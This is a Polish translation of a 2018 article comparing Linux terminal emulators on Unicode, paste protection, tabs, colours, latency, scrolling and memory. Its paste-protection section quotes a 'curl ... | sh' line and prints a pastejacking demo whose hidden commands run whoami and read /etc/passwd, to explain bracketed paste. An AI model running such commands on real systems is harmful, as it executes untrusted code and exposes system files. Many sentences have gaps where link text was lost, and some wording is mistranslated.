Kilka słów od naszego biura tłumaczeń: zazwyczaj każdy stara się tłumaczyć najnowsze materiały i publikacje i my nie jesteśmy tu wyjątkiem. Ale terminale nie są czymś, co jest aktualizowane raz w tygodniu. Dlatego przetłumaczyliśmy dla Państwa artykuł Antoine’a Beaupré, opublikowany wiosną 2018 roku: mimo znacznego „wieku” jak na współczesne standardy, naszym zdaniem materiał wcale nie stracił na aktualności. Poza tym pierwotnie była to seria dwóch artykułów, jednak postanowiliśmy połączyć je w jeden duży post.
Terminale zajmują szczególne miejsce w historii komputerów, ale w ostatnich dziesięcioleciach zmuszone były przetrwać obok wiersza poleceń ze względu na wszechobecność interfejsów graficznych. zastąpiły własne , które z kolei były modyfikacją układów opartych na kartach perforowanych i przełącznikach dźwigniowych. Nowoczesne dystrybucje są wyposażone w różnorodne emulatory terminali we wszystkich kształtach i kolorach. I chociaż wielu jest zadowolonych ze standardowego terminala zapewnianego przez ich środowisko pracy, niektórzy z dumą korzystają z wręcz egzotycznego oprogramowania do uruchamiania ulubionej powłoki lub edytora tekstu. Jednak, jak zobaczymy w tym artykule, nie wszystkie terminale zostały utworzone na tym samym obrazie: różnią się znacznie funkcjonalnością, rozmiarem i wydajnością.
Niektóre terminale mają wręcz zaskakujące luki w zabezpieczeniach, a większość ma zupełnie inny zestaw funkcji, od obsługi interfejsu z kartami po skrypty. Chociaż my , ten artykuł stanowi aktualizację poprzedniego materiału, który pomoże czytelnikom określić, którego terminala użyć w 2018 roku. Pierwsza połowa artykułu porównuje funkcje, a druga połowa ocenia wydajność.
Oto terminale, które sprawdziłem:
Mogą to nie być najnowsze wersje, ponieważ w momencie pisania tego tekstu byłem ograniczony do stabilnych kompilacji, które udało mi się wdrożyć na Debianie 9 lub Fedorze 27. Jedynym wyjątkiem jest Alacritty. Jest potomkiem terminali akcelerowanych przez GPU i jest napisany w nietypowym i nowym dla tego zadania języku - Rust. Z mojej recenzji wykluczyłem terminale internetowe (w tym te na ), gdyż wstępne testy wykazały ich wyjątkowo słabą wydajność.
Obsługa Unicode
Zacząłem testy od obsługi Unicode. Pierwszym testem terminali było wyświetlenie ciągu znaków Unicode : „é, Δ, И, ק, م, ๗, あ, 叶, 葉 i 말.” Ten prosty test pokazuje, czy terminal może działać poprawnie na całym świecie. Terminal xterm nie wyświetla znaków arabskich w domyślnej konfiguracji:
Domyślnie xterm używa klasycznej „stałej” czcionki, która wg , ma „znaczny zasięg Unicode od 1997 r.”. Coś dzieje się w tej czcionce, co powoduje, że znak pojawia się jako pusta ramka i dopiero gdy czcionka tekstu zostanie zwiększona do ponad 20 punktów, znak w końcu zacznie się poprawnie wyświetlać. Jednak ta „poprawka” psuje wyświetlanie innych znaków Unicode:
Te zrzuty ekranu zostały zrobione w Fedorze 27, ponieważ dawała ona lepsze wyniki niż Debian 9, gdzie niektóre starsze wersje terminali (w szczególności mlterm) nie mogły poprawnie obsługiwać czcionek. Na szczęście zostało to naprawione w późniejszych wersjach.
Teraz zwróć uwagę, jak linia jest wyświetlana w xterm. Okazuje się, że symbol Mem i następujący po nim semicki zobacz skrypty w stylu RTL (), więc technicznie powinny być wyświetlane od prawej do lewej. Przeglądarki internetowe, takie jak Firefox 57 poprawnie obsługują powyższą linię. Prostszą wersją tekstu RTL jest słowo „„po hebrajsku (). mówi co następuje:
„Wiele programów komputerowych nie może poprawnie wyświetlać tekstu dwukierunkowego. Na przykład hebrajskie imię „Sarah” składa się ze znaków sin (ש) (który pojawia się po prawej stronie), następnie resh (ר) i na koniec on (ה) (który powinien pojawiać się po lewej stronie).”
Wiele terminali nie przechodzi tego testu: Alacritty, terminale Gnome i XFCE wywodzące się z VTE, urxvt, st i xterm wyświetlają „Sara” w odwrotnej kolejności, tak jakbyśmy zapisywali nazwę jako „Aras”.
Innym problemem związanym z tekstami dwukierunkowymi jest to, że należy je jakoś dopasować, zwłaszcza jeśli chodzi o mieszanie tekstów RTL i LTR. Skrypty RTL powinny działać z prawej strony okna terminala, ale co powinno się stać w przypadku terminali, które domyślnie używają języka angielskiego LTR? Większość z nich nie posiada żadnych specjalnych mechanizmów i wyrównuje cały tekst do lewej strony (również w Konsoli). Wyjątkiem są pterm i mlterm, które są zgodne ze standardami i wyrównują takie linie do prawej.
Zabezpieczenie przed włożeniem
Następną kluczową cechą, którą zidentyfikowałem, jest ochrona przed włożeniem. Chociaż powszechnie wiadomo, że czary takie jak:
$ curl http://example.com/ | shto polecenia push umożliwiające wykonanie kodu, niewiele osób wie, że ukryte polecenia mogą przedostać się do konsoli podczas kopiowania i wklejania z przeglądarki internetowej, nawet po dokładnej kontroli. znakomicie pokazuje, jak niewinnie wygląda polecenie:
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.gitstaje się taką uciążliwością po wklejeniu ze strony Horn do terminala:
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d 'n';
echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.gitJak to działa? W bloku znajduje się złośliwy kod , który jest usuwany z widoku użytkownika za pomocą CSS.
ma wyraźnie na celu neutralizację takich ataków. W tym trybie terminale otaczają wklejony tekst parą specjalnych sekwencji ucieczki, informujących powłokę o pochodzeniu tekstu. Mówi to powłoce, że może ignorować znaki specjalne, które może zawierać wklejony tekst. Wszystkie terminale, począwszy od czcigodnego xterma, obsługują tę funkcję, ale wklejanie w trybie w nawiasach wymaga wsparcia ze strony powłoki lub aplikacji działającej na terminalu. Na przykład użycie oprogramowania (ten sam Bash), potrzebuje pliku ~/.inputrc:
set enable-bracketed-paste onNiestety, strona testowa Horna pokazuje również, jak ominąć tę ochronę poprzez samo formatowanie tekstu, co przedwcześnie kończy się zastosowaniem do niego trybu nawiasowego. Działa to, ponieważ niektóre terminale nie filtrują poprawnie sekwencji ucieczki przed dodaniem własnych. Na przykład w moim przypadku nigdy nie udało mi się pomyślnie ukończyć testów Konsoli, nawet przy prawidłowej konfiguracji .wejście plik. Oznacza to, że możesz łatwo spowodować uszkodzenie konfiguracji systemu z powodu nieobsługiwanej aplikacji lub niepoprawnie skonfigurowanej powłoki. Jest to szczególnie niebezpieczne podczas logowania się do zdalnych serwerów, gdzie staranna konfiguracja jest mniej powszechna, zwłaszcza jeśli masz wiele takich zdalnych komputerów.
Dobrym rozwiązaniem tego problemu jest wtyczka potwierdzająca wklejenie do terminala urxvt, który po prostu prosi o pozwolenie na wstawienie dowolnego tekstu zawierającego znaki nowej linii. Nie znalazłem bezpieczniejszej opcji ataku tekstowego opisanego przez Horna.
Zakładki i profile
Popularną funkcją jest teraz obsługa interfejsu z kartami, który zdefiniujemy jako jedno okno terminala zawierające kilka dodatkowych terminali. Ta funkcja różni się w przypadku różnych terminali i chociaż tradycyjne terminale xterm w ogóle nie obsługują zakładek, nowsze wcielenia terminali, takie jak Xfce Terminal, GNOME Terminal i Konsole, mają tę funkcję. Urxvt obsługuje również karty, ale tylko jeśli używasz wtyczki. Ale jeśli chodzi o samą obsługę zakładek, Terminator jest niekwestionowanym liderem: nie tylko obsługuje zakładki, ale może także układać terminale w dowolnej kolejności (patrz obrazek poniżej).
Inną cechą Terminatora jest możliwość „grupowania” tych zakładek i wysyłania tych samych naciśnięć klawiszy do wielu terminali w tym samym czasie, co zapewnia proste narzędzie do wykonywania masowych operacji na wielu serwerach jednocześnie. Podobna funkcja jest również zaimplementowana w Konsoli. Aby korzystać z tej funkcji w innych terminalach, musisz użyć oprogramowania innej firmy, takiego jak , lub .
Karty działają szczególnie dobrze w połączeniu z profilami: na przykład możesz mieć jedną kartę do poczty e-mail, drugą do czatu i tak dalej. Jest to dobrze obsługiwane przez terminal Konsole i terminal GNOME. Obydwa umożliwiają każdej karcie automatyczne uruchomienie własnego profilu. Terminator obsługuje również profile, ale nie mogłem znaleźć sposobu na automatyczne uruchamianie niektórych programów po otwarciu określonej karty. Inne terminale w ogóle nie mają pojęcia „profilu”.
Falbany
Ostatnią rzeczą, którą omówię w pierwszej części tego artykułu, jest wygląd terminali. Na przykład GNOME, Xfce i urxvt obsługują przezroczystość, ale ostatnio porzuciły obsługę obrazów tła, zmuszając niektórych użytkowników do przejścia na terminal . Osobiście jestem z tego zadowolony i jest to proste xresources, który ustawia podstawowy zestaw kolorów tła dla urxvt. Jednak niestandardowe motywy kolorystyczne również mogą powodować problemy. Na przykład, z aplikacjami и , ponieważ używają już własnych kolorów.
nie obsługiwał kolorów, a nowe często ograniczały się do palety 256 kolorów. Dla zaawansowanych użytkowników, którzy stylizują swoje terminale, monity powłoki lub paski stanu w skomplikowany sposób mogą być irytującym ograniczeniem. śledzi, które terminale obsługują „True Color”. Moje testy potwierdzają, że terminale st, Alacritty i VTE doskonale obsługują technologię True Color. Inne terminale nie radzą sobie pod tym względem zbyt dobrze i tak naprawdę nie wyświetlają nawet 256 kolorów. Poniżej możesz zobaczyć różnicę pomiędzy obsługą True Color w terminalach GNOME, st i xterm, które radzą sobie z tym dobrze dzięki swojej palecie 256 kolorów, a urxvt, który nie tylko nie przechodzi testu, ale nawet pokazuje zamiast nich kilka migających znaków.
Niektóre terminale analizują również tekst pod kątem wzorców adresów URL, aby umożliwić klikanie linków. Dotyczy to wszystkich terminali pochodzących z VTE, podczas gdy urxvt wymaga specjalnej wtyczki, która przekształca adresy URL po kliknięciu lub za pomocą skrótu klawiaturowego. Inne terminale Testowałem wyświetlane adresy URL na inne sposoby.
Wreszcie nowym trendem w terminalach jest opcjonalność bufora przewijania. Na przykład st nie ma bufora przewijania; zakłada się, że użytkownik będzie korzystał z multipleksera terminala, takiego jak tmux i .
W Alacritty brakuje również buforów przewijania wstecz, ale swoje wsparcie ze względu na „obszerne opinie” na ten temat od użytkowników. Oprócz tych nowinek, każdy testowany przeze mnie terminal obsługuje przewijanie wstecz.
Podsumowania
W drugiej części materiału (w oryginale były to dwa różne artykuły – ok. uliczka) porównamy wydajność, wykorzystanie pamięci i opóźnienia. Ale już widzimy, że niektóre z przedmiotowych terminali mają poważne niedociągnięcia. Na przykład użytkownicy, którzy regularnie pracują ze skryptami RTL, mogą rozważyć mlterm i pterm, ponieważ lepiej radzą sobie z podobnymi zadaniami niż inne. Konsola również spisała się dobrze. Użytkownicy, którzy nie pracują ze skryptami RTL, mogą wybrać coś innego.
Pod względem ochrony przed wstawieniem złośliwego kodu urxvt wyróżnia się specjalną implementacją ochrony przed tego typu atakami, co wydaje mi się zdecydowanie wygodne. Dla tych, którzy szukają dzwonków i gwizdków, Konsole jest warta obejrzenia. Wreszcie, warto zauważyć, że VTE jest doskonałą bazą dla terminali, co gwarantuje wsparcie kolorów, rozpoznawanie adresu URL i tak dalej. Na pierwszy rzut oka domyślny terminal dostarczany z Twoim ulubionym środowiskiem może spełniać wszystkie wymagania, ale pozostawmy to pytanie otwarte, dopóki nie poznamy wydajności.
Kontynuujemy rozmowę
Ogólnie rzecz biorąc, wydajność terminali sama w sobie może wydawać się naciąganym problemem, ale jak się okazuje, niektóre z nich wykazują zaskakująco duże opóźnienia jak na oprogramowanie tak podstawowego typu. Następnie przyjrzymy się temu, co tradycyjnie nazywa się „szybkością” (w rzeczywistości jest to prędkość przewijania) i zużyciu pamięci przez terminal (z zastrzeżeniem, że nie jest to dziś tak krytyczne, jak kilkadziesiąt lat temu).
Opóźnienie
Po dokładnym przestudiowaniu wydajności terminala doszedłem do wniosku, że najważniejszym parametrem w tym zakresie jest opóźnienie (ping). W swoim artykule Pavel Fatin przyjrzał się opóźnieniom różnych edytorów tekstu i zasugerował, że terminale pod tym względem mogą być wolniejsze niż najszybsze edytory tekstu. To właśnie ta wskazówka ostatecznie skłoniła mnie do przeprowadzenia własnych testów i napisania tego artykułu.
Czym jednak jest opóźnienie i dlaczego jest tak ważne? W swoim artykule Fatin zdefiniował to jako „opóźnienie między naciśnięciem klawisza a odpowiednią aktualizacją ekranu” i zacytował , w którym stwierdzono: „Opóźnienie wizualnej informacji zwrotnej na ekranie komputera ma istotny wpływ na zachowanie i satysfakcję maszynistki”.
Fatin wyjaśnia, że ten sygnał ma głębsze konsekwencje niż tylko satysfakcję: „pisanie staje się wolniejsze, pojawia się więcej błędów oraz wzrasta napięcie oczu i mięśni”. Innymi słowy, duże opóźnienie może prowadzić do literówek, a także do obniżenia jakości kodu, ponieważ prowadzi do dodatkowego obciążenia poznawczego mózgu. Ale co gorsza, ping „zwiększa napięcie oczu i mięśni”, co wydaje się sugerować w przyszłości (Najwyraźniej autor ma na myśli problemy z mięśniami oczu, pleców, ramion i oczywiście wzrokiem - ok. uliczka) z powodu powtarzającego się stresu.
Niektóre z tych efektów są znane od dawna, a rezultaty opublikowanej w 1976 roku w czasopiśmie Ergonomia stwierdzono, że opóźnienie wynoszące 100 milisekund „znacznie pogarsza szybkość pisania”. Niedawno wprowadzono Podręcznik użytkownika GNOME za 10 milisekund, a jeśli pójdziesz dalej, to wtedy pokazuje, że 1 milisekunda jest idealna.
Fatin przeprowadził swoje testy na edytorach tekstu; stworzył przenośny instrument tzw , którego użyłem do testowania ping w emulatorach terminali. Należy pamiętać, że test przeprowadzono w trybie symulacyjnym: w rzeczywistości musimy wziąć pod uwagę zarówno opóźnienie wejściowe (klawiatura, kontroler USB itp.), jak i wyjściowe (bufor karty graficznej, monitor). Według Fatina w typowych konfiguracjach jest to około 20 ms. Jeśli masz sprzęt do gier, możesz osiągnąć tę liczbę w zaledwie 3 milisekundy. Ponieważ mamy już tak szybki sprzęt, aplikacja nie musi dodawać własnego opóźnienia. Celem Fatina jest zmniejszenie opóźnienia aplikacji do 1 milisekundy lub nawet osiągnięcie możliwości wybierania numeru bez , jak w .
Oto wyniki moich pomiarów, a także niektóre wyniki Fatina, aby pokazać, że mój eksperyment zgadza się z jego testami:
Pierwszą rzeczą, która mnie uderzyła, był lepszy czas reakcji starszych programów, takich jak xterm i mlterm. Przy najgorszym opóźnieniu rejestru (2,4 ms) działały lepiej niż najszybszy nowoczesny terminal (10,6 ms dla st). Żaden nowoczesny terminal nie przekracza progu 10 milisekund. W szczególności Alacritty nie spełnia twierdzenia o „najszybszym dostępnym emulatorze terminala”, chociaż jego wyniki poprawiły się od czasu pierwszej recenzji w 2017 r. Rzeczywiście, autorzy projektu i pracują nad udoskonaleniem wyświetlacza. Należy również zauważyć, że Vim korzystający z GTK3 jest o rząd wielkości wolniejszy niż jego odpowiednik GTK2. Z tego możemy wywnioskować, że GTK3 tworzy dodatkowe opóźnienie, co znajduje odzwierciedlenie we wszystkich innych terminalach, które z niego korzystają (Terminator, terminal Xfce4 i terminal GNOME).
Różnice mogą jednak nie być zauważalne gołym okiem. Jak wyjaśnia Fatin: „nie musisz zdawać sobie sprawy z opóźnienia, aby miało to na ciebie wpływ”. Fatin ostrzega również przed odchyleniem standardowym: „wszelkie zakłócenia opóźnienia (jitter) powodują dodatkowy stres ze względu na ich nieprzewidywalność”.
Powyższy wykres wykonano na czystym Debianie 9 (stretch). . To środowisko zapewnia najlepsze wyniki w testach opóźnień. Jak się okazuje, GNOME tworzy dodatkowy ping o długości 20 ms dla wszystkich pomiarów. Możliwym wyjaśnieniem tego jest obecność programów z synchronicznym przetwarzaniem zdarzeń wejściowych. Fatin podaje przykład takiego przypadku , który dodaje opóźnienie poprzez synchroniczne przetwarzanie wszystkich zdarzeń wejściowych. Domyślnie GNOME jest również wyposażony w menedżera okien , co tworzy dodatkową warstwę buforowania, która wpływa na ping i dodaje co najmniej 8 milisekund opóźnienia.
Prędkość przewijania
Następnym testem jest tradycyjny test „prędkości” lub „przepustowości”, który mierzy, jak szybko terminal może przewijać stronę podczas wyświetlania dużej ilości tekstu na ekranie. Mechanika testu jest różna; pierwotny test polegał po prostu na wygenerowaniu tego samego ciągu tekstowego za pomocą polecenia seq. Inne testy obejmują test Thomasa E. Dickeya (opiekuna xterm), który jest powtarzalny . W innym przeglądzie terminalowej wydajności używa ciągu losowych bajtów zakodowanego w standardzie base32, który jest wysyłany do terminala za pomocą cat. Luu uważa taki test za „najbardziej bezużyteczny punkt odniesienia, jak można sobie wyobrazić” i sugeruje zamiast tego użycie odpowiedzi terminala jako głównego miernika. Dickey również nazywa swój test wprowadzającym w błąd. Jednak obaj autorzy przyznają, że problemem może być przepustowość okna terminala. Luu odkrył, że Emacs Eshell zawiesza się podczas wyświetlania dużych plików, a Dickey zoptymalizował terminal, aby pozbyć się wizualnego spowolnienia xtrerm. Zatem ten test nadal ma pewne zalety, ale ponieważ proces renderowania różni się znacznie w zależności od terminala, można go również wykorzystać jako komponent testowy do testowania innych parametrów.
Tutaj widzimy rxvt i st wyprzedzające konkurencję, a za nimi plasuje się znacznie nowszy Alacritty, który został zaprojektowany z naciskiem na wydajność. Następne są Xfce (rodzina VTE) i Konsole, które są prawie dwukrotnie szybsze. Ostatnim jest xterm, który jest pięć razy wolniejszy niż rxvt. Podczas testu xterm również mocno marszczył, przez co trudno było dostrzec przechodzący tekst, nawet jeśli był to ten sam wiersz. Konsola działała szybko, ale czasami było to trudne: wyświetlacz od czasu do czasu zawieszał się, pokazując fragment tekstu lub nie pokazując go wcale. Inne terminale wyraźnie wyświetlały ciągi znaków, w tym st, Alacritty i rxvt.
Dickey wyjaśnia, że różnice w wydajności wynikają z konstrukcji buforów przewijania w różnych terminalach. W szczególności zarzuca rxvt i innym terminalom „nieprzestrzeganie ogólnych zasad”:
„W przeciwieństwie do xterm, rxvt nie próbował wyświetlić wszystkich aktualizacji. Jeśli pozostanie w tyle, odmówi nadrobienia niektórych aktualizacji. Miało to większy wpływ na pozorną prędkość przewijania niż na organizację pamięci wewnętrznej. Wadą było to, że animacja ASCII była nieco nieprecyzyjna.”
Aby naprawić tę postrzeganą powolność Xterma, Dickey sugeruje skorzystanie z tego zasobu , umożliwiając xtermowi odrzucenie niektórych aktualizacji ekranu, aby nadążać za przepływem. Moje testy potwierdzają, że fastScroll poprawia wydajność i dorównuje xtermowi z rxvt. Jest to jednak dość trudne rozwiązanie, jak wyjaśnia sam Dickey: „czasami xterm – podobnie jak konsola – wydaje się zawieszać w oczekiwaniu na nowy zestaw aktualizacji ekranu, po usunięciu niektórych z nich”. W tym duchu wydaje się, że inne terminale znalazły najlepszy kompromis między szybkością a integralnością wyświetlacza.
Zużycie zasobów
Niezależnie od tego, czy rozpatrywanie prędkości przewijania jako miernika wydajności ma sens, ten test pozwala nam symulować obciążenie terminali, co z kolei pozwala zmierzyć inne parametry, takie jak wykorzystanie pamięci lub dysku. Metryki uzyskano przeprowadzając określony test nast w ramach monitorowania procesów w Pythonie. Zbierał dane z liczników dla ru_maxrss, kwota ru_oublock и ru_inblock i prosty timer.
W tym teście ST zajmuje pierwsze miejsce z najniższym średnim zużyciem pamięci wynoszącym 8 MB, co nie jest zaskakujące, biorąc pod uwagę, że główną ideą projektu jest prostota. mlterm, xterm i rxvt zużywają nieco więcej - około 12 MB. Kolejnym godnym uwagi wynikiem jest Alacritty, którego działanie wymaga 30 MB. Do tego dochodzą terminale z rodziny VTE o pojemnościach od 40 do 60 MB, czyli całkiem sporo. Zużycie to można wytłumaczyć faktem, że terminale te korzystają z bibliotek wyższego poziomu, na przykład GTK. Konsola zajmuje ostatnie miejsce z aż 65MB zużycia pamięci podczas testów, choć można to uzasadnić bardzo szerokim zakresem funkcji.
W porównaniu do poprzednich wyników uzyskanych dziesięć lat temu, wszystkie programy zaczęły zużywać zauważalnie więcej pamięci. Xterm wymagał kiedyś 4 MB, ale teraz wymaga 15 MB przy uruchomieniu. Podobny wzrost zużycia obserwuje się w przypadku rxvt, który obecnie wymaga 16 MB po wyjęciu z pudełka. Terminal Xfce zajmuje 34 MB, czyli trzy razy więcej niż poprzednio, ale Terminal GNOME wymaga tylko 20 MB. Oczywiście wszystkie poprzednie testy zostały przeprowadzone na architekturze 32-bitowej. Na LCA 2012 Rusty Russell , że istnieje wiele bardziej subtelnych przyczyn, które mogłyby wyjaśnić wzrost zużycia pamięci. Powiedziawszy to, żyjemy teraz w czasach, gdy mamy gigabajty pamięci, więc jakoś sobie poradzimy.
Nie mogę jednak oprzeć się wrażeniu, że przydzielanie większej ilości pamięci czemuś tak fundamentalnemu jak terminal jest marnowaniem zasobów. Programy te powinny być najmniejsze z najmniejszych, powinny móc działać na każdym „pudełku”, nawet pudełku po butach, jeśli kiedyś dojdziemy do tego, że trzeba będzie je wyposażyć w systemy Linux (a wiadomo, że tak będzie ) . Jednak przy tych liczbach wykorzystanie pamięci stanie się w przyszłości problemem w każdym środowisku, w którym działa wiele terminali, z wyjątkiem kilku najlżejszych i najbardziej ograniczonych pod względem możliwości. Aby to zrekompensować, terminale GNOME, Konsole, urxvt, Terminator i terminal Xfce posiadają tryb demona, który umożliwia kontrolowanie wielu terminali w ramach jednego procesu, ograniczając ich zużycie pamięci.
Podczas moich testów doszedłem do innego nieoczekiwanego wyniku dotyczącego odczytu i zapisu dysku: spodziewałem się, że nie zobaczę tutaj niczego, ale okazało się, że niektóre terminale zapisują na dysk najwięcej danych. Zatem biblioteka VTE faktycznie przechowuje bufor przewijania na dysku (ta funkcja i tak się dzieje nadal). Ale w przeciwieństwie do starszych implementacji, teraz przynajmniej te dane są szyfrowane przy użyciu AES256 GCM (). Powstaje jednak uzasadnione pytanie: co jest takiego specjalnego w bibliotece VTE, że wymaga tak niestandardowego podejścia do wdrożenia...
wniosek
W pierwszej części artykułu odkryliśmy, że terminale oparte na VTE mają dobry zestaw funkcji, ale teraz widzimy, że wiąże się to z pewnymi kosztami wydajności. Teraz pamięć nie stanowi problemu, ponieważ wszystkimi terminalami VTE można sterować za pomocą procesu Daemon, co ogranicza ich apetyt. Jednak starsze systemy, które mają fizyczne ograniczenia dotyczące ilości pamięci RAM i buforów jądra, mogą nadal potrzebować wcześniejszych wersji terminali, ponieważ zużywają one znacznie mniej zasobów. Chociaż terminale VTE wypadły dobrze w testach przepustowości (przewijania), ich opóźnienie wyświetlania przekracza próg ustawiony w Podręczniku użytkownika GNOME. Twórcy VTE powinni prawdopodobnie wziąć to pod uwagę. Jeśli weźmiemy pod uwagę, że nawet dla początkujących użytkowników Linuksa spotkanie z terminalem jest nieuniknione, mogą uczynić go bardziej przyjaznym dla użytkownika. Dla doświadczonych maniaków przejście z domyślnego terminala może nawet oznaczać mniejsze zmęczenie oczu i możliwość uniknięcia przyszłych urazów i chorób związanych z pracą z powodu długich sesji roboczych. Niestety, dopiero stare xterm i mlterm doprowadzają nas do magicznego progu pingu wynoszącego 10 milisekund, co dla wielu jest nie do przyjęcia.
Pomiary porównawcze wykazały również, że w związku z rozwojem środowisk graficznych Linux, programiści musieli pójść na szereg kompromisów. Niektórzy użytkownicy mogą chcieć przyjrzeć się zwykłym menedżerom okien, ponieważ zapewniają one znaczną redukcję pingu. Niestety, nie było możliwe zmierzenie opóźnienia w Wayland: program Typometer, którego używałem, został stworzony do tego, przed czym Wayland ma zapobiegać: szpiegowania innych okien. Mam nadzieję, że komponowanie Waylanda będzie działać lepiej niż X.org i mam też nadzieję, że w przyszłości ktoś znajdzie sposób na zmierzenie opóźnień w tym środowisku.
Źródło: www.habr.com